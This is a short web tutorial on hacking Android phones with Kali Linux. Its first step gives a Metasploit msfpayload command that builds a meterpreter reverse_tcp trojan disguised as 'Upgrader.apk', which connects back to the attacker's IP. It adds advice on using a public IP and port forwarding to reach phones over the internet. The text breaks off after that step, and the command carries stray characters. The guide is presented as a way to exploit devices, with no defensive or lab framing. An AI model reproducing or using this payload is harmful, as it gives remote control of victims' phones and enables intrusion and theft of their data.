Unlock the world of Android hacking using Kali Linux with our step-by-step guide. Learn to create a Trojan .apk, set up a listener, and exploit Android devices seamlessly.
Step 1: Create a Trojan .apk
In the terminal, generate a Trojan .apk with the command:
msfpayload android/meterpreter/reverse_tcp LHOST=192.168.0.4 R > /root/Upgrader.apk!<
Replace “LHOST” with your IP. For WAN hacking, use your Public/External IP in LHOST and configure port forwarding. Feel free to ask for assistance with port forwarding in the comment section.
